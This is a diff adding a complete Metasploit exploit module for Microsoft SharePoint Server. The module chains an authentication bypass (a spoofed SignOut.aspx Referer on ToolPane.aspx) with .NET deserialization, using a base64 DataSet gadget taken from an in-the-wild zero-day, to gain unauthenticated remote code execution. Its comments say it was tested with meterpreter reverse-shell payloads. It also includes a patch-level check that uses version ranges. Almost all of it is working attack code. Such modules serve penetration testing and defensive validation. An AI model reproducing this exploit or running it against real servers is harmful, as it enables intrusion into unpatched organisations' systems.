|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + prepend Msf::Exploit::Remote::AutoCheck |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super( |
| 14 | + update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'Microsoft SharePoint Server ToolPane Unauthenticated Remote Code Execution (aka ToolShell)', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits the authentication bypass vulnerability CVE-2025-53771 (a patch bypass of CVE-2025-49706), |
| 19 | + and an unsafe deserialization vulnerability CVE-2025-53770 (a patch bypass of CVE-2025-49704), to achieve |
| 20 | + unauthenticated RCE against a vulnerable Microsoft SharePoint Server. |
| 21 | + }, |
| 22 | + 'License' => MSF_LICENSE, |
| 23 | + 'Author' => [ |
| 24 | + # Discovered CVE-2025-49704 and CVE-2025-49706, demoed at Pwn2Own Berlin 2025. |
| 25 | + 'Viettel Cyber Security', |
| 26 | + # Metasploit module, based on the public PoC of the zero-day exploit for CVE-2025-53770 and CVE-2025-53771. |
| 27 | + 'sfewer-r7' |
| 28 | + # NOTE: The author attribution for CVE-2025-53770 and CVE-2025-53771 is unclear. |
| 29 | + ], |
| 30 | + 'References' => [ |
| 31 | + # Microsoft SharePoint DataSetSurrogateSelector Deserialization of Untrusted Data Remote Code Execution Vulnerability. |
| 32 | + ['CVE', '2025-49704'], |
| 33 | + # Microsoft SharePoint ToolPane Authentication Bypass Vulnerability. |
| 34 | + ['CVE', '2025-49706'], |
| 35 | + # Patch bypass for CVE-2025-49704, exploited in-the-wild as a zero-day. |
| 36 | + ['CVE', '2025-53770'], |
| 37 | + # Patch bypass for CVE-2025-49706, exploited in-the-wild as a zero-day. |
| 38 | + ['CVE', '2025-53771'], |
| 39 | + # ZDI advisories for CVE-2025-49704 and CVE-2025-49706, discovered by Viettel Cyber Security. |
| 40 | + ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-580/'], |
| 41 | + ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-581/'], |
| 42 | + # Microsoft advisories for CVE-2025-53770 and CVE-2025-53771, caught in-the-wild. |
| 43 | + ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770'], |
| 44 | + ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53771'], |
| 45 | + # Microsoft Guidance. |
| 46 | + ['URL', 'https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/'], |
| 47 | + # The zero-day exploit for CVE-2025-53770 and CVE-2025-53771, published July 21, 2025. |
| 48 | + ['URL', 'https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501'], |
| 49 | + # Markus Wulftange (CODE WHITE GmbH) reproduced CVE-2025-49704 and CVE-2025-49706, circa July 14, 2025. |
| 50 | + ['URL', 'https://x.com/codewhitesec/status/1944743478350557232'], |
| 51 | + # Dinh Ho Anh Khoa (Viettel Cyber Security) demoed CVE-2025-49704 and CVE-2025-49706 at Pwn2Own Berlin on May 16, 2025. |
| 52 | + ['URL', 'https://x.com/thezdi/status/1923317597673533552'], |
| 53 | + # Prior work from Steven Seeley on a similar DataSet gadget chain for SharePoint. |
| 54 | + ['URL', 'https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html'] |
| 55 | + ], |
| 56 | + 'DisclosureDate' => '2025-07-19', # Disclosure date for CVE-2025-53770 and CVE-2025-53771. |
| 57 | + 'Platform' => ['win'], |
| 58 | + 'Arch' => [ARCH_CMD], |
| 59 | + 'Privileged' => false, # Executes as the SharePoint site user. |
| 60 | + 'Targets' => [ |
| 61 | + [ |
| 62 | + 'Default', {} |
| 63 | + ] |
| 64 | + ], |
| 65 | + # NOTE: Tested with the following payloads: |
| 66 | + # cmd/windows/http/x64/meterpreter/reverse_tcp |
| 67 | + # cmd/windows/generic |
| 68 | + 'DefaultOptions' => { |
| 69 | + 'RPORT' => 80, |
| 70 | + 'SSL' => false, |
| 71 | + # Delete the fetch binary after execution. |
| 72 | + 'FETCH_DELETE' => true, |
| 73 | + # The root path of the SharePoint site |
| 74 | + 'URIPATH' => '/' |
| 75 | + }, |
| 76 | + 'DefaultTarget' => 0, |
| 77 | + 'Notes' => { |
| 78 | + 'Stability' => [CRASH_SAFE], |
| 79 | + 'Reliability' => [REPEATABLE_SESSION], |
| 80 | + 'SideEffects' => [IOC_IN_LOGS] |
| 81 | + } |
| 82 | + ) |
| 83 | + ) |
| 84 | + end |
| 85 | + |
| 86 | + def check |
| 87 | + res = send_request_cgi( |
| 88 | + 'method' => 'GET', |
| 89 | + 'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'error.aspx') |
| 90 | + ) |
| 91 | + |
| 92 | + return CheckCode::Unknown('Connection failed') unless res |
| 93 | + |
| 94 | + return CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 200 |
| 95 | + |
| 96 | + # The returned HTML will have a blob of JavaScript that contains a hash object called _spPageContextInfo. A key |
| 97 | + # called siteClientTag will have a value of the current SharePoint Server patch level. We cannot rely on the HTTP |
| 98 | + # header value MicrosoftSharePointTeamServices as this may not reflect the actual patch level. |
| 99 | + site_client_tag = res.body.match(/"siteClientTag"\s*:\s*"\d*[$]+([^"]+)",/) |
| 100 | + |
| 101 | + return CheckCode::Unknown('Unable to extract the siteClientTag') unless site_client_tag |
| 102 | + |
| 103 | + version = Rex::Version.new(site_client_tag[1]) |
| 104 | + |
| 105 | + # We compare the version we pull from the target, against a table of known vulnerable SharePoint editions. We |
| 106 | + # compare the target version against the RTM version (i.e. the first version of an edition) and the version *before* |
| 107 | + # the patch for CVE-2025-53770 and CVE-2025-53771 (which supersedes patches for CVE-2025-49704 and CVE-2025-49706 |
| 108 | + # from July 2025). |
| 109 | + # https://learn.microsoft.com/en-us/sharepoint/product-servicing-policy/updated-product-servicing-policy-for-sharepoint-2019 |
| 110 | + # https://learn.microsoft.com/en-us/officeupdates/sharepoint-updates |
| 111 | + |
| 112 | + ranges = [ |
| 113 | + [ |
| 114 | + 'Microsoft SharePoint Server Subscription Edition', |
| 115 | + '16.0.14326.20450', # The RTM version (circa 2021) |
| 116 | + '16.0.18526.20424' # July 2025 |
| 117 | + ], |
| 118 | + [ |
| 119 | + 'Microsoft SharePoint Server 2019', |
| 120 | + '16.0.10337.12109', # The RTM version (circa 2019) |
| 121 | + '16.0.10417.20027' # July 2025 |
| 122 | + ], |
| 123 | + [ |
| 124 | + 'Microsoft SharePoint Enterprise Server 2016', |
| 125 | + '16.0.4351.1000', # The RTM version (circa 2017) |
| 126 | + '16.0.5508.1000' # July 2025 |
| 127 | + ], |
| 128 | + # NOTE: It is unclear if older unsupported versions (SharePoint Server 2013 and 2010) are vulnerable. |
| 129 | + [ |
| 130 | + 'SharePoint Server 2013', |
| 131 | + '15.0.4481.1005', |
| 132 | + '15.0.5545.1000' # Last version before end of support. |
| 133 | + ], |
| 134 | + [ |
| 135 | + 'SharePoint Server 2010', |
| 136 | + '14.0.7015.1000', |
| 137 | + '14.0.7268.5000' # Last version before end of support. |
| 138 | + ] |
| 139 | + ] |
| 140 | + |
| 141 | + ranges.each do |product, rtm_version, patch_version| |
| 142 | + if version.between?(Rex::Version.new(rtm_version), Rex::Version.new(patch_version)) |
| 143 | + return Exploit::CheckCode::Appears("Detected #{product} version #{version}") |
| 144 | + end |
| 145 | + end |
| 146 | + |
| 147 | + # If we get here, it's a patched version. |
| 148 | + Exploit::CheckCode::Safe("Detected Microsoft SharePoint Server version #{version}") |
| 149 | + end |
| 150 | + |
| 151 | + def exploit |
| 152 | + gadget_raw = create_gadget_chain |
| 153 | + send_exploit(gadget_raw) |
| 154 | + end |
| 155 | + |
| 156 | + def create_gadget_chain |
| 157 | + # NOTE: Depending on the version of SharePoint, different gadgets can be used. |
| 158 | + # |
| 159 | + # * A TypeConfuseDelegate + BinaryFormatter gadget chain was tested against Microsoft SharePoint Server 2019 version |
| 160 | + # 16.0.10337.12109 (RTM circa 2019), but does not work on more recent versions like 16.0.10417.20018 (June 2025). |
| 161 | + # |
| 162 | + # * The XmlSchema DataSet chain which then wraps the TypeConfuseDelegate + LosFormatter gadget chain was tested to |
| 163 | + # work against Microsoft SharePoint Server 2019 versions 16.0.10337.12109 (RTM circa 2019), 16.0.10417.20018 |
| 164 | + # (June 2025), and 16.0.10417.20027 (July 2025). This is the chain as caught in-the-wild circa July 19, 2025. |
| 165 | + |
| 166 | + typeconfusedelegate_gadget_raw = ::Msf::Util::DotNetDeserialization.generate( |
| 167 | + payload.encoded, |
| 168 | + gadget_chain: :TypeConfuseDelegate, |
| 169 | + formatter: :LosFormatter |
| 170 | + ) |
| 171 | + |
| 172 | + vprint_status('Using TypeConfuseDelegate + LosFormatter gadget chain:') |
| 173 | + vprint_line(Rex::Text.to_hex_dump(typeconfusedelegate_gadget_raw)) |
| 174 | + |
| 175 | + typeconfusedelegate_gadget_b64 = Base64.strict_encode64(typeconfusedelegate_gadget_raw) |
| 176 | + |
| 177 | + # This gadget chain was pulled from the PoC posted here (https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501) |
| 178 | + # and is thought to be from the zero-day exploit caught in-the-wild. The payload from the in-the-wild gadget has |
| 179 | + # been removed and replaced with a string value "HAX". |
| 180 | + # |
| 181 | + # TO-DO: get rid of this base64 blob, and construct the gadget using the Msf::Util::DotNetDeserializatio helper routines. |
| 182 | + dataset_gadget_b64 = 'AAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uRGF0YSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABNTeXN0ZW0uRGF0YS5EYXRhU2V0AgAAAAlYbWxTY2hlbWELWG1sRGlmZkdyYW0BAQIAAAAGAwAAAKEKPHhzOnNjaGVtYSB4bWxucz0iIiB4bWxuczp4cz0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiIHhtbG5zOm1zZGF0YT0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTp4bWwtbXNkYXRhIiBpZD0ic29tZWRhdGFzZXQiPg0KICAgICAgICAgICAgICAgIDx4czplbGVtZW50IG5hbWU9InNvbWVkYXRhc2V0IiBtc2RhdGE6SXNEYXRhU2V0PSJ0cnVlIiBtc2RhdGE6VXNlQ3VycmVudExvY2FsZT0idHJ1ZSI+DQogICAgICAgICAgICAgICAgICAgIDx4czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx4czpjaG9pY2UgbWluT2NjdXJzPSIwIiBtYXhPY2N1cnM9InVuYm91bmRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHhzOmVsZW1lbnQgbmFtZT0iaGVoZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx4czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx4czpzZXF1ZW5jZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eHM6ZWxlbWVudCBuYW1lPSJwd24iIG1zZGF0YTpEYXRhVHlwZT0iU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uRGF0YS5TZXJ2aWNlcy5JbnRlcm5hbC5FeHBhbmRlZFdyYXBwZXJgMltbU3lzdGVtLldlYi5VSS5Mb3NGb3JtYXR0ZXIsIFN5c3RlbS5XZWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iMDNmNWY3ZjExZDUwYTNhXSxbU3lzdGVtLldpbmRvd3MuRGF0YS5PYmplY3REYXRhUHJvdmlkZXIsIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzVdXSwgU3lzdGVtLkRhdGEuU2VydmljZXMsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0iIHR5cGU9InhzOmFueVR5cGUiIG1pbk9jY3Vycz0iMCIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC94czpzZXF1ZW5jZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC94czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3hzOmVsZW1lbnQ+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3hzOmNob2ljZT4NCiAgICAgICAgICAgICAgICAgICAgPC94czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICA8L3hzOmVsZW1lbnQ+DQogICAgICAgICAgICA8L3hzOnNjaGVtYT4GBAAAAMtHPGRpZmZncjpkaWZmZ3JhbSB4bWxuczptc2RhdGE9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206eG1sLW1zZGF0YSIgeG1sbnM6ZGlmZmdyPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOnhtbC1kaWZmZ3JhbS12MSI+DQogICAgICAgICAgICAgICAgPHNvbWVkYXRhc2V0Pg0KICAgICAgICAgICAgICAgICAgICA8aGVoZSBkaWZmZ3I6aWQ9IlRhYmxlIiBtc2RhdGE6cm93T3JkZXI9IjAiIGRpZmZncjpoYXNDaGFuZ2VzPSJpbnNlcnRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8cHduIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhtbG5zOnhzZD0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxFeHBhbmRlZFdyYXBwZXJPZkxvc0Zvcm1hdHRlck9iamVjdERhdGFQcm92aWRlciB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiA+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxFeHBhbmRlZEVsZW1lbnQvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8UHJvamVjdGVkUHJvcGVydHkwPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPE1ldGhvZE5hbWU+RGVzZXJpYWxpemU8L01ldGhvZE5hbWU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8TWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YW55VHlwZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4c2k6dHlwZT0ieHNkOnN0cmluZyI+SEFYPC9hbnlUeXBlPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9NZXRob2RQYXJhbWV0ZXJzPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPE9iamVjdEluc3RhbmNlIHhzaTp0eXBlPSJMb3NGb3JtYXR0ZXIiPjwvT2JqZWN0SW5zdGFuY2U+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvUHJvamVjdGVkUHJvcGVydHkwPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvRXhwYW5kZWRXcmFwcGVyT2ZMb3NGb3JtYXR0ZXJPYmplY3REYXRhUHJvdmlkZXI+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3B3bj4NCiAgICAgICAgICAgICAgICAgICAgPC9oZWhlPg0KICAgICAgICAgICAgICAgIDwvc29tZWRhdGFzZXQ+DQogICAgICAgICAgICA8L2RpZmZncjpkaWZmZ3JhbT4L' |
| 183 | + |
| 184 | + dataset_gadget_raw = Base64.strict_decode64(dataset_gadget_b64) |
| 185 | + |
| 186 | + # We have replaced the original payload from the in-the-wild exploit, with a string value "HAX". We use that "HAX" |
| 187 | + # value to swap in our TypeConfuseDelegate gadget chain, and then fix up the string lengths. |
| 188 | + dataset_gadget_raw.gsub!( |
| 189 | + 'HAX', |
| 190 | + typeconfusedelegate_gadget_b64 |
| 191 | + ).gsub!( |
| 192 | + Msf::Util::DotNetDeserialization.encode_7bit_int(9163), |
| 193 | + Msf::Util::DotNetDeserialization.encode_7bit_int(9163 - 7772 + typeconfusedelegate_gadget_b64.length) |
| 194 | + ) |
| 195 | + |
| 196 | + vprint_status('Using XmlSchema DataSet + BinaryFormatter gadget chain:') |
| 197 | + vprint_line(Rex::Text.to_hex_dump(dataset_gadget_raw)) |
| 198 | + |
| 199 | + dataset_gadget_raw |
| 200 | + end |
| 201 | + |
| 202 | + def send_exploit(gadget_raw) |
| 203 | + gadget_gzip = StringIO.new |
| 204 | + |
| 205 | + gzip = Zlib::GzipWriter.new(gadget_gzip) |
| 206 | + gzip.write(gadget_raw) |
| 207 | + gzip.close |
| 208 | + |
| 209 | + namespace_ui = Rex::Text.rand_text_alpha_lower(8..16) |
| 210 | + namespace_scorecards = Rex::Text.rand_text_alpha_lower(8..16) |
| 211 | + |
| 212 | + xml = <<~EOF |
| 213 | + <%@ Register Tagprefix="#{namespace_ui}" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %> |
| 214 | + <%@ Register Tagprefix="#{namespace_scorecards}" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> |
| 215 | + <#{namespace_ui}:UpdateProgress> |
| 216 | + <ProgressTemplate> |
| 217 | + <#{namespace_scorecards}:ExcelDataSet CompressedDataTable="#{Base64.strict_encode64(gadget_gzip.string)}" DataTable-CaseSensitive="true" runat="server"/> |
| 218 | + </ProgressTemplate> |
| 219 | + </#{namespace_ui}:UpdateProgress> |
| 220 | + EOF |
| 221 | + |
| 222 | + send_request_cgi( |
| 223 | + 'method' => 'POST', |
| 224 | + 'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'ToolPane.aspx'), |
| 225 | + 'ctype' => 'application/x-www-form-urlencoded', |
| 226 | + 'headers' => { |
| 227 | + 'Referer' => normalize_uri(target_uri.path, '_layouts', 'SignOut.aspx') |
| 228 | + }, |
| 229 | + 'vars_get' => { |
| 230 | + 'DisplayMode' => 'Edit', |
| 231 | + 'a' => '/ToolPane.aspx' |
| 232 | + }, |
| 233 | + 'vars_post' => { |
| 234 | + 'MSOTlPn_Uri' => full_uri(normalize_uri(target_uri.path, '_controltemplates', '15', 'AclEditor.ascx')), |
| 235 | + 'MSOTlPn_DWP' => xml |
| 236 | + } |
| 237 | + ) |
| 238 | + end |
| 239 | +end |
0 commit comments